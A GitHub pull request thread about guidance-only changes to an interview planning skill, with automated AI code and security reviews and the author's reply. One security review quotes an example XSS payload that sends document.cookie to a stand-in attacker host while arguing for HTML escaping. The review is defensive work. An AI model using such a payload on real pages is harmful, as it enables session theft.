feat(planning): interview round-format legibility levers (#1042)

[kyle-sexton]

Closes #1042.

What

Legibility levers for /planning:interview rounds, fixing the wall-of-dense-prose
failure at the producer without touching the frontier protocol.

Lever	Change
1 — session-hop anchor	Round-header restate re-grounds a resumed reader; per-question context capped at ONE line, only when the header doesn't cover it or after a session gap
3 — single verdict marker	My recommendation: is the sole marker — no stacked (RECOMMENDED) badge, no repeat tag in Alternatives
4 — session-shorthand glossary	Session-local shorthand defined once, parked in the ledger (distinct from the project's ubiquitous language)
5 — artifact escape hatch	A dense round can render its whole frontier as an HTML decision-table artifact (rows numbered to terminal Q<N>, degrading to a fenced markdown table) — a rendering surface, never a round split or question cap
6 — AUQ sharpening	AskUserQuestion scoped to simple selections / binary confirms

Lever 2 (a hard per-round question cap) is deliberately rejected — it
contradicts frontier doctrine (the whole frontier is one numbered set) and adds
latency without information. Lever 5 gives a rendering escape hatch instead.

Where

• skills/interview/SKILL.md — per-question template (levers 1, 3), Question
  surface (levers 5, 6), Recommended-answers reconciliation (lever 3), Step 2
  restate (lever 1).
• skills/interview/context/loop.md — progressive-disclosure detail: session-hop
  anchor, artifact column spec, session-shorthand glossary shape.
• CHANGELOG.md + plugin.json — patch bump 0.24.5 (guidance-only).

Verification

• markdownlint-cli2 clean on all touched files.
• skill-quality:check interview → PASS, 0 errors. Two WARNs are pre-existing
  (SKILL.md soft-cap >200, and the description's non-Use when: trigger style),
  neither introduced here; all 5 base-ref trigger phrases preserved.

Related

• planning: new skill — adversarial validation of a filled interview ledger (validate-mode) #1043 — the interview-answer validation skill (separate PR, stacked on this
  branch; both touch interview SKILL.md). Not closed by this PR.

Notes

• No new skill/action/config; frontier protocol unchanged.

🤖 Generated with Claude Code

[claude]

Claude finished @kyle-sexton's task in 2m 34s —— View job

---

PR Review — feat(planning): interview round-format legibility levers

• Load tools
• Read changed files and diff
• Review for correctness and consistency
• Review alignment with CLAUDE.md / plugin design rules
• Post findings

---

Overall the changes are well-scoped and internally consistent. The guidance is clear, the cross-references between SKILL.md and loop.md are correct, and the patch bump is appropriate for a guidance-only change. Three issues found, one of which is a real internal contradiction.

---

Finding 1 — Stale (RECOMMENDED) language contradicts lever 3 (medium)

SKILL.md line 79:

Every option set names exactly ONE recommended option marked (RECOMMENDED) with a one-line basis.

This sentence predates the PR and was not updated. It now conflicts with the lever 3 rule added later in the same file:

The My recommendation: line is the single verdict marker for the question — never stack a second one: no standalone **(RECOMMENDED)** badge line…

A reader scanning the "Stance" section before reaching "Relentless mode" gets the wrong instruction: they see "mark it (RECOMMENDED)" broadly, then later "never use that badge inline." The "Recommended answers" section (line 119) does reconcile the two surfaces correctly, but the early contradiction at line 79 remains.

Suggested fix — change line 79 from:

Every option set names exactly ONE recommended option marked (RECOMMENDED) with a one-line basis.

to something like:

Every option set names exactly ONE recommended answer with a one-line basis — marked via My recommendation: in inline prose rounds, or tagged (RECOMMENDED) in an AskUserQuestion card.

Fix this →

---

Finding 2 — Column count and name mismatch between SKILL.md and loop.md (low)

SKILL.md line 56 describes the artifact table as four columns:

columns question / recommendation / alternatives / what you're deciding

loop.md line 108 specifies five:

# (the terminal Q<N>) | Question | Recommendation | Alternatives | Deciding what

SKILL.md drops the # column (mentioned only in prose as "rows numbered to the terminal Q<N>") and uses "what you're deciding" instead of "Deciding what". The # column is load-bearing — it's the answer path mechanism — so its omission from the SKILL.md column list is the more material gap. loop.md's degrade note also references "the same five columns" which would disagree with a reader counting four from SKILL.md.

---

Finding 3 — Missing trailing period in loop.md step 1 (minor)

loop.md line 54 — the newly added sentence ends with ) but no period:

…so a returning reader (or a fresh session resuming from the ledger) is grounded without re-reading the whole ledger. When it fully covers a question's context, that question needs no per-question context line (SKILL.md "Relentless mode")

All other numbered list items in the file end with a full stop. Missing period after the cross-reference parenthetical.

---

Everything else looks good

• plugin.json version bump is correct (patch, guidance-only).
• CHANGELOG entry is clear and well-structured under Keep a Changelog format.
• The per-question template change (dropping (recommended) from the Alternatives list, adding the optional context line) is correct and internally consistent.
• The AUQ sharpening ("simple selections or binary confirms", "a question needs more than a pick" fallback) is a clean tightening of an already-qualified rule.
• The session-shorthand glossary shape in loop.md is well-delimited from the ubiquitous-language glossary (the /domain-driven-design:curate-language distinction is explicit in both SKILL.md and loop.md).
• The session-hop anchor is stated consistently in both files and the SKILL.md Step 2 one-liner is a good summary entry-point.
• No security concerns — guidance-only, no code execution, no new config, no egress.
• Plugin design rules: repo-agnostic, no hardcoded paths, versioned correctly.

[claude]

Claude finished @kyle-sexton's task in 1m 7s —— View job

---

Security Review

• Gather context and understand request
• Fetch PR diff
• Read changed files
• Analyze for security issues
• Report findings

---

Scope: 4 files — plugin.json (version bump only), CHANGELOG.md (docs only), skills/interview/SKILL.md (LLM guidance), skills/interview/context/loop.md (LLM guidance).

Finding: No security vulnerabilities introduced.

All changes are guidance-only edits to LLM skill documents and a patch version bump. Here is the analysis per security surface:

Plugin manifest (plugin.json) — version 0.24.4 → 0.24.5 only. No new userConfig keys, no new permissions, no remote MCP servers, no new tool grants, no new shell commands. Clean.

Shell injection (pre-computed context block in SKILL.md) — The ! shell-command block (git branch, git log, git status) is unchanged from the prior version. These commands are static with no user input interpolated into them, so they present no injection surface. This PR does not add or modify any shell execution.

HTML artifact escape hatch — The new guidance instructs the LLM to render a dense round as an "HTML decision-table artifact." The content filling the table cells (question text, recommendations, alternatives) is LLM-generated and informed by the user's codebase. If raw codebase strings (e.g. a variable named <script>alert(1)</script>) flowed into those cells unescaped, there would be a theoretical XSS risk in an artifact rendering context. However:

• This is guidance-only — there is no code here that generates HTML; the LLM generates it at runtime.
• Claude Code artifact rendering is sandboxed.
• The LLM is the HTML author and is expected to produce safe output.
• This surface is not materially different from any other "render HTML artifact" instruction already expressible in Claude Code.

No CRITICAL or IMPORTANT findings. No authorization gaps, no secret/credential exposure, no path traversal, no supply-chain risk, no dangerous GitHub Actions patterns (no workflow files touched).

[chatgpt-codex-connector]

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 77b86732e7

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

[claude]

Claude finished @kyle-sexton's task in 2m 18s —— View job

---

PR Review — feat(planning): interview round-format legibility levers

• Load tools
• Read diff and changed files (new commit: 1d00f08)
• Check whether prior review findings were addressed
• Review new changes for correctness and consistency
• Post findings

---

What the new commit (1d00f08) addresses

The fix commit targets the two Codex P2 findings and correctly resolves both:

Codex P2 #1 — Concrete delivery path ✅ Resolved
loop.md now specifies <memory_dir>/<topic-slug>/interview-round-<n>.html as the output path, the file is a self-contained HTML view, and the terminal residue carries the path. The HTML-vs-ledger hierarchy is stated ("the HTML is a scannable view, not the source of truth"). Aligns with the repo's HTML-view idiom.

Codex P2 #2 — Preserve rationale and probe in table fallback ✅ Resolved
loop.md now requires the Recommendation column to carry the "2-3 sentence codebase-grounded basis", adds an explicit Constraint probe kept bullet, and the degrade bullet covers the probe: "render the same columns (with the same grounded basis) and the probe as a fenced markdown table inline." SKILL.md also summarises this at the summary level.

Claude finding 2 — Column count/name mismatch ✅ Implicitly resolved
The column listing was removed from SKILL.md entirely (now "Delivery path + column detail: context/loop.md 'Artifact escape hatch'"), making loop.md the single source. The mismatch is gone.

---

Remaining issues from the prior review

Finding 1 — Stale (RECOMMENDED) badge language still contradicts lever 3 (medium) — NOT FIXED

SKILL.md line 79 still reads:

Every option set names exactly ONE recommended option marked (RECOMMENDED) with a one-line basis.

This sentence is unchanged and still contradicts the lever 3 rule added at line 103:

The My recommendation: line is the single verdict marker for the question — never stack a second one: no standalone **(RECOMMENDED)** badge line…

The reconciliation at line 119 ("in an inline round that marker IS the My recommendation: line; in an AskUserQuestion card it is the option tagged (RECOMMENDED)") is correct but comes 40 lines later. A reader of the "Stance" section will see the contradiction before reaching the resolution.

Suggested fix — update line 79:

Every option set names exactly ONE recommended answer with a one-line basis — marked via My recommendation: in inline prose rounds, or tagged (RECOMMENDED) in an AskUserQuestion card.

Fix this →

---

Finding 3 — Missing trailing period in loop.md step 1 (minor) — NOT FIXED

loop.md line 54 — the sentence added in the first commit still ends with ) and no period:

…so a returning reader (or a fresh session resuming from the ledger) is grounded without re-reading the whole ledger. When it fully covers a question's context, that question needs no per-question context line (SKILL.md "Relentless mode")

Every other numbered list item in the file ends with a full stop.

Fix this →

---

New minor observation from the fix commit

<n> in the filename interview-round-<n>.html is slightly ambiguous (low)

loop.md line 108 uses interview-round-<n>.html where <n> implies a round counter. But the skill tracks a question counter (Q<N> runs continuously), not an explicit round counter. The agent has no documented way to know it is in round 3 vs round 1. A small clarification (e.g. "incrementing round number, starting at 1 per topic") or using a question-range label (interview-round-Q1-Q7.html) would remove the ambiguity.

---

Summary

The fix commit correctly resolves both Codex P2 findings and the column-mismatch noted in the prior Claude review. Two items remain open: the (RECOMMENDED) contradiction at line 79 of SKILL.md (medium, present since the first commit) and the missing period on loop.md line 54 (minor). The filename <n> ambiguity is new and low-severity. Everything else — delivery path, grounding preservation, degrade behavior, column authority in loop.md — is correct and consistent.

[claude]

Claude finished @kyle-sexton's task in 2m 16s —— View job

---

Security Review

• Load tools
• Fetch PR diff
• Read changed files
• Analyze for security issues
• Report findings

---

Scope: 4 files — plugin.json (version bump only), CHANGELOG.md (docs only), skills/interview/SKILL.md (LLM guidance), skills/interview/context/loop.md (LLM guidance).

The new commit (1d00f08) adds a concrete delivery-path spec for the HTML artifact escape hatch. Two issues are worth flagging on that surface; everything else is clean.

---

Finding 1 — HTML artifact cells contain codebase-derived content with no escaping instruction

Severity: SUGGESTION | Confidence: Medium

loop.md line 108–109 instructs the LLM to write a self-contained HTML file to disk whose table cells are "codebase-grounded" — verbatim or close-paraphrase of content read from the repository ("question text, recommendations, alternatives"). The guidance does not instruct the LLM to HTML-encode that content before writing.

If a repository contains adversarially crafted content — a filename, comment, or identifier like <script>fetch('https://attacker.example?d='+document.cookie)</script> — and it surfaces as part of a question or recommendation, the generated HTML file will execute that payload when the user opens it in a browser. The file is written to the user's local disk (.work/<topic-slug>/interview-round-<n>.html) and opened from a file:// origin, where script execution is not sandboxed by a same-origin constraint.

This differs from the prior review's assessment: that review treated the HTML as a Claude Code in-session artifact (sandboxed renderer); the delivery spec in commit 1d00f08 makes clear it is a disk file opened by the user in their browser, where that sandboxing does not apply.

Suggested fix — add an explicit escaping instruction to the "Columns" bullet in loop.md:

All codebase-derived cell content must be HTML-entity-encoded (e.g. < for <, & for &) before being written to the HTML file; do not write raw codebase strings as HTML.

Or restrict the recommendation to markdown-only rendering (the degrade path already does this safely). Attack chain requires repo write access or a malicious dependency with crafted content, so real-world exploitability is low in most consumer threat models.

Fix this →

---

Finding 2 — topic-slug is LLM-derived and used as a path component without sanitization guidance

Severity: SUGGESTION | Confidence: Low

loop.md line 108 constructs the file path as <memory_dir>/<topic-slug>/interview-round-<n>.html. The topic-slug is derived by the LLM from the planning session topic, which can be influenced by codebase content or user-provided topic names. A slug containing ../ sequences could write the HTML file outside the intended .work/ directory.

Confidence is low: this reuses the same path pattern as the pre-existing interview-checklist.md spec (line 141 — not new to this PR), the LLM would likely sanitize the slug naturally, and Claude Code's Write tool validates paths and rejects traversal sequences. No new risk is introduced beyond what the ledger path already carries.

---

Everything else is clean

• plugin.json — version 0.24.4 → 0.24.5 only; no new config keys, permissions, remote MCP servers, or shell commands.
• CHANGELOG.md — documentation only.
• No GitHub Actions files touched; no CI/CD security concerns.
• No credential/secret handling, no network egress, no supply-chain changes.
• The !-prefixed shell-command blocks in SKILL.md (git branch, git log, git status) are unchanged, static, and carry no injection surface.

[kyle-sexton]

Both P2 findings addressed in 1d00f08: (1) the dense-round artifact now has a concrete delivery path — a self-contained HTML file written to the topic's memory slice (<memory_dir>/<topic-slug>/interview-round-<n>.html), ledger/terminal stay the tracked record, matching the knowledge:youtube-digest HTML-view idiom; (2) the markdown fallback now preserves each recommendation's 2-3 sentence codebase-grounded basis and renders the round's closing constraint probe, so grounding and the challenge mechanism are not lost. Thanks.